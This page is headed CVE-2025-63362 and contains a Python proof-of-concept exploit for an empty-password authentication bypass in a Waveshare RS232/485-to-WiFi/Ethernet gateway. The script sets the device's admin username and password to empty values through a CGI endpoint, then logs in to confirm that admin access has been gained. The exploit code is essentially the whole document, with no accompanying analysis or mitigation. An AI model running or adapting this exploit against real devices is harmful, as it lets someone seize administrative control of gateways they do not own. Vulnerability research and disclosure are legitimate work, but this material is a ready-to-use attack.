CVE-2025-63362: Waveshare网关设备空密码认证绕过漏洞

import requests import json # CVE-2025-63362 PoC - Waveshare Gateway Empty Password Authentication Bypass # Target: Waveshare RS232/485 TO WIFI ETH (B) Gateway # Firmware: V3.1.1.0 / HW 4.3.2.1 / Webpage V7.04T.07.002880.0301 TARGET_IP = "192.168.1.100" # Replace with target device IP TARGET_PORT = 80 def exploit_empty_password_bypass(): """ Exploit for CVE-2025-63362: Set admin username and password to empty values to bypass authentication on Waveshare gateway devices. """ url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin/set_admin.cgi" # Payload to set admin username and password to empty values payload = { "username": "", "password": "", "confirm_password": "", "action": "modify" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } print(f"[*] Target: {TARGET_IP}:{TARGET_PORT}") print(f"[*] Exploiting CVE-2025-63362...") print(f"[*] Setting admin credentials to empty values...") try: response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Successfully set admin credentials to empty values") print(f"[*] Now you can login with empty username and password") # Verify by attempting to login with empty credentials verify_url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin/login.cgi" login_payload = { "username": "", "password": "" } login_response = requests.post(verify_url, json=login_payload, headers=headers, timeout=10) if login_response.status_code == 200 and "session" in login_response.text.lower(): print(f"[+] Authentication bypass confirmed! Admin access gained.") return True else: print(f"[-] Exploit failed. Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": exploit_empty_password_bypass()